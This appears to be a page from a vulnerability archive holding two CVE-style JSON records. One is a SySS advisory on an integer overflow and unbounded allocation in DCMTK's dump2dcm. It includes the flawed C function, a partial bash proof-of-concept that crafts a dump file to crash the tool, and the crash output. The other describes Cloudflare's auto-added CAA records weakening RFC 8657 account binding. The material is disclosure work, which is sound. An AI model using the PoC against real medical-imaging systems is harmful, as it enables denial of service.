| Vendor | Product | Version | |
|---|---|---|---|
| Dicom | DICOM Toolkit |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "DICOM Toolkit",
"vendor": "Dicom",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Matthias Deeg via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Advisory ID: SYSS-2026-050\nProduct: DCMTK (DICOM ToolKit)\nManufacturer: OFFIS e.V. / DCMTK Community\nAffected Version(s): 3.7.0\nTested Version(s): 3.7.0\nVulnerability Type: Integer Overflow or Wraparound (CWE-190)\nRisk Level: Medium\nSolution Status: Fixed\nManufacturer Notification: 2026-07-02\nSolution Date: 2026-07-03\nPublic Disclosure: 2026-07-31\nCVE Reference: Not yet assigned\nAuthor of Advisory: Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nDCMTK (DICOM ToolKit) is an open-source collection of libraries and\napplications implementing large parts of the DICOM (Digital Imaging\nand Communications in Medicine) standard (see [1]).\n\nDCMTK\u0027s textual value import is vulnerable to unbounded Value Multiplicity\n(VM) allocation. An attacker who can supply a crafted textual DICOM dump\nor XML/JSON import payload can cause memory exhaustion or heap buffer\noverflow via integer overflow in the typed array allocation.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe function DcmElement::determineVM() in libsrc/dcelem.cc (line 2154)\ncounts backslash (\u0027\\\u0027) delimiters in a textual element value string and\nreturns the count as the VM:\n\n unsigned long DcmElement::determineVM(const char *str, const size_t len)\n {\n unsigned long vm = 0;\n if ((str != NULL) \u0026\u0026 (len \u003e 0)) {\n vm = 1;\n const char *p = str;\n for (size_t i = 0; i \u003c len; i++) {\n if (*p++ == \u0027\\\\\u0027)\n vm++;\n }\n }\n return vm;\n }\n\nThis value is used throughout the VR implementation to allocate typed\narrays:\n\n - dcvrsl.cc:335: new Sint32[vm]\n - dcvrul.cc: new Uint32[vm]\n - dcvrus.cc: new Uint16[vm]\n - dcvrfd.cc: new Float64[vm]\n - ... and many more\n\nA crafted ASCII dump containing a numeric VR element with many\nbackslash-separated tokens yields a large VM. Allocating Float64[vm]\nrequires 8 * vm bytes before the converted binary value is inserted into\nthe DICOM object. With sufficiently large inputs on 32-bit builds,\nvm * sizeof(T) can also overflow size_t, producing a small allocation\nthat is subsequently written beyond bounds.\n\nThe attack chain is as follows:\n\n 1. The attacker crafts a textual DICOM dump/XML/JSON with a numeric VR\n element (SL, UL, FD, etc.) whose value consists of a large number\n of backslash-delimited tokens.\n\n 2. determineVM() counts the tokens and returns an unbounded VM.\n\n 3. The VR putString() allocates new T[vm] without bounds checking.\n\n 4. Memory exhaustion (DoS) or heap buffer overflow is triggered via\n an integer overflow in the allocation size.\n\nThis path is reached by APIs and tools that parse textual values into\ntyped numeric VRs, e.g. dump2dcm calling DcmElement::putString().\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe following exploit script creates a specially crafted ASCII DICOM\ndump file with a numeric VR element (SL) containing many backslash-\nseparated tokens. This file is processed with dump2dcm under a memory\nlimit to trigger the memory exhaustion (std::bad_alloc).\n\ncat \u003e poc.sh \u003c\u003c \u0027EOPOC\u0027\n#!/bin/bash\n#\n# POC Exploit for unbounded VM allocation in dump2dcm\n# Proof of concept exploit for SYSS-2026-050\n#\n# Creates a crafted ASCII DICOM dump with a numeric VR element (SL)\n# containing NUM_VALUES backslash-separated tokens, then feeds it\n# to dump2dcm under a memory limit to trigger std::bad_alloc.\n#\n\nset -euo pipefail\n\nDUMP2DCM=\"dump2dcm\"\nWORKDIR=\"/tmp/dump2dcm_poc_$$\"\n\nMEMORY_LIMIT=24576 # 24 MB virtual memory limit\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"$0\")\" \u0026\u0026 pwd)\"\n\necho \"=== PoC: Unbounded VM Allocation in dump2dcm ===\"\necho \"\"\necho \"Vulnerability: DcmElement::determineVM() counts backslash delimiters\"\necho \" without bounds, causing new Sint32[vm] to allocate\"\necho \" vm * 4 bytes without any cap.\"\necho \"\"\necho \"Configuration:\"\necho \" Values (VM): $NUM_VALUES\"\n\necho \" dump2dcm: $DUMP2DCM\"\necho \"\"\n\nmkdir -p \"$WORKDIR\"\n\nDUMP_FILE=\"$WORKDIR/exploit.dump\"\nOUTPUT_FILE=\"$WORKDIR/exploit.dcm\"\n\n\n\n# Generate the payload using Python (avoids shell escaping issues)\npython3 \"$SCRIPT_DIR/generate_payload.py\" \"$NUM_VALUES\" \u003e \"$DUMP_FILE\"\n\nDUMP_SIZE=$(du -sh \"$DUMP_FILE\" | cut -f1)\necho \"[+] Crafted dump file: $DUMP_FILE ($DUMP_SIZE)\"\n\necho \"\"\necho \"[*] Running dump2dcm under memory limit (ulimit -v $MEMORY_LIMIT)...\"\necho \"\"\n\n# Run dump2dcm with memory limit\n# +l sets max line length to 10M to accommodate the crafted SL element\nulimit -v \"$MEMORY_LIMIT\"\n\n\necho \"---\"\necho \"Result:\"\necho \" Exit code: $EXIT_CODE\"\necho \" Output:\"\necho \"$OUTPUT\" | tail -20\necho \"\"\n\n# Clean up\nrm -rf \"$WORKDIR\"\n\nif [ $EXIT_CODE -ne 0 ]; then\n echo \"[+] SUCCESS: dump2dcm crashed with exit code $EXIT_CODE\"\n echo \" The unbounded VM allocation exhausted memory as expected.\"\nelse\n\nfi\n\necho \"\"\necho \"=== PoC complete ===\"\nEOPOC\n\nThe following output shows a successful exploit crashing dump2dcm:\n\n./poc.sh\n=== PoC: Unbounded VM Allocation in dump2dcm ===\n\nVulnerability: DcmElement::determineVM() counts backslash delimiters\n without bounds, causing new Sint32[vm] to allocate\n vm * 4 bytes without any cap.\n\nConfiguration:\n Values (VM): 4000000\n Allocation: Sint32[4000000] = 15 MB\n Memory limit: 24576 KB (24 MB)\n dump2dcm: dump2dcm\n\n\n[+] Crafted dump file: /tmp/dump2dcm_poc_2579/exploit.dump (7.7M)\n\n[*] Running dump2dcm under memory limit (ulimit -v 24576)...\n\n- ---\nResult:\n Exit code: 134\n Output:\nterminate called after throwing an instance of \u0027std::bad_alloc\u0027\n what(): std::bad_alloc\n\n[+] SUCCESS: dump2dcm crashed with exit code 134\n The unbounded VM allocation exhausted memory as expected.\n\n=== PoC complete ===\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThis security issue was fixed with the commit\n9cb99f1b0279e3e40243a8b9bd974edf78597a14 (see [4]).\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-02: Vulnerability reported to manufacturer\n2026-07-02: Manufacturer acknowledges receipt of security advisories\n2026-07-03: Security fix published by manufacturer (see [4])\n2026-07-31: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] DCMTK project website\n https://dcmtk.org/en/\n[2] SySS Security Advisory SYSS-2026-050\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n https://www.syss.de/en/responsible-disclosure-policy\n[4] DCMTK security fix\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-190",
"description": "CWE-190",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T10:11:53Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/28"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/28"
},
{
"url": "https://creativecommons.org/licenses/by/4.0/deed.en"
},
{
"url": "https://dcmtk.org/en/"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.syss.de/en/responsible-disclosure-policy"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/28"
],
"discovery": "EXTERNAL"
},
"title": "[SYSS-2026-050]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0027",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/28",
"automated": true,
"contentSha256": "c35c1b26ce0505ed151309b9cafa170f277e270bb50d414ec4a7a4bbdcce2835",
"evidenceScore": 10,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/28",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-07-31T08:02:55Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:20Z",
"dateUpdated": "2026-09-09T10:11:53Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0027"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0029
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-09 10:11
VLAI
EPSS
VEX
Title
[NotCVE-2026-0001] Cloudflare Universal SSL CAA augmentation weakens RFC 8657 account binding — CVE-2026-14440 assigned 163 days after public no-CVE disclosure
Summary
----------------------------------------------------------------------------
NotCVE Disclosure Update — NotCVE-2026-0001 / CVE-2026-14440
----------------------------------------------------------------------------
[-] Summary:
On 2026-01-19 the issue described below was published as NotCVE-2026-0001
after no CVE identifier was assigned for it. On 2026-07-01 — 163 days
later — Cloudflare assigned CVE-2026-14440 to the same issue, now rated
CVSS 9.1. This message documents the disclosure timeline for the public
record.
[-] Affected:
Cloudflare Universal SSL (managed CAA record augmentation) — service-side
behaviour; no customer-side patch applicable.
[-] Technical Description:
Cloudflare Universal SSL automatically adds CAA issue/issuewild records
when a customer has Universal SSL enabled and publishes any CAA records
for the zone. These auto-added records are not shown in the Cloudflare
dashboard but are returned in DNS responses, and can include permissive
authorizations such as:
CAA 0 issue "letsencrypt.org"
CAA 0 issuewild "letsencrypt.org"
When a domain owner uses RFC 8657 CAA extensions (accounturi and/or
validationmethods) to restrict certificate issuance to a specific
authorized ACME account or validation method, the presence of an
auto-added CAA issue property WITHOUT those RFC 8657 constraints broadens
authorization: per RFC 8657, a CAA property without an accounturi
parameter matches any account. This weakens the domain owner's intended
account binding and may enable unauthorized DV certificate issuance.
[-] Disclosure Timeline:
[19/01/2026] - Public record published as NotCVE-2026-0001; no CVE
identifier assigned at that time
[01/07/2026] - Cloudflare assigns CVE-2026-14440 (CVSS 9.1) for the same
issue, 163 days after the public record
[-] CVE Reference:
CVE-2026-14440
[-] References:
https://notcve.org/notcve/NotCVE-2026-0001 (full technical record,
preserved since day one)
https://notcve.org/cve/CVE-2026-14440
[-] About NotCVE:
NotCVE (https://notcve.org) assigns public, timestamped NotCVE IDs to
vulnerabilities not acknowledged by vendors. Vendor will not assign a CVE?
Request a NotCVE: https://notcve.org/form/ · Contributors:
https://notcve.org/hall/
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
9 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Cloudflare | Cloudflare Universal SSL |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Cloudflare Universal SSL",
"vendor": "Cloudflare",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "NotCVE Advisories"
}
],
"descriptions": [
{
"lang": "en",
"value": "----------------------------------------------------------------------------\nNotCVE Disclosure Update \u2014 NotCVE-2026-0001 / CVE-2026-14440\n----------------------------------------------------------------------------\n\n[-] Summary:\n\nOn 2026-01-19 the issue described below was published as NotCVE-2026-0001\nafter no CVE identifier was assigned for it. On 2026-07-01 \u2014 163 days\nlater \u2014 Cloudflare assigned CVE-2026-14440 to the same issue, now rated\nCVSS 9.1. This message documents the disclosure timeline for the public\nrecord.\n\n[-] Affected:\n\nCloudflare Universal SSL (managed CAA record augmentation) \u2014 service-side\nbehaviour; no customer-side patch applicable.\n\n[-] Technical Description:\n\nCloudflare Universal SSL automatically adds CAA issue/issuewild records\nwhen a customer has Universal SSL enabled and publishes any CAA records\nfor the zone. These auto-added records are not shown in the Cloudflare\ndashboard but are returned in DNS responses, and can include permissive\nauthorizations such as:\n\n CAA 0 issue \"letsencrypt.org\"\n CAA 0 issuewild \"letsencrypt.org\"\n\nWhen a domain owner uses RFC 8657 CAA extensions (accounturi and/or\nvalidationmethods) to restrict certificate issuance to a specific\nauthorized ACME account or validation method, the presence of an\nauto-added CAA issue property WITHOUT those RFC 8657 constraints broadens\nauthorization: per RFC 8657, a CAA property without an accounturi\nparameter matches any account. This weakens the domain owner\u0027s intended\naccount binding and may enable unauthorized DV certificate issuance.\n\n[-] Disclosure Timeline:\n\n[19/01/2026] - Public record published as NotCVE-2026-0001; no CVE\n identifier assigned at that time\n[01/07/2026] - Cloudflare assigns CVE-2026-14440 (CVSS 9.1) for the same\n issue, 163 days after the public record\n\n[-] CVE Reference:\n\nCVE-2026-14440\n\n[-] References:\n\nhttps://notcve.org/notcve/NotCVE-2026-0001 (full technical record,\n preserved since day one)\nhttps://notcve.org/cve/CVE-2026-14440\n\n[-] About NotCVE:\n\nNotCVE (https://notcve.org) assigns public, timestamped NotCVE IDs to\nvulnerabilities not acknowledged by vendors. Vendor will not assign a CVE?\nRequest a NotCVE: https://notcve.org/form/ \u00b7 Contributors:\nhttps://notcve.org/hall/\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T10:11:51Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/22"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jul/22"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://notcve.org"
},
{
"url": "https://notcve.org/cve/CVE-2026-14440"
},
{
"url": "https://notcve.org/form/"
},
{
"url": "https://notcve.org/hall/"
},
{
"url": "https://notcve.org/notcve/NotCVE-2026-0001"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jul/22"
],
"discovery": "EXTERNAL"
},
"title": "[NotCVE-2026-0001] Cloudflare Universal SSL CAA augmentation weakens RFC 8657 account binding \u2014 CVE-2026-14440 assigned 163 days after public no-CVE disclosure",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0029",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/22",
"automated": true,
"contentSha256": "74c32742b1845f9d69c269583c1496d4b7bcc719376171964a308397dc9fea62",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/22",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-07-13T13:10:43Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:21Z",
"dateUpdated": "2026-09-09T10:11:51Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0029"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
displaying 251 - 260 publications in total 387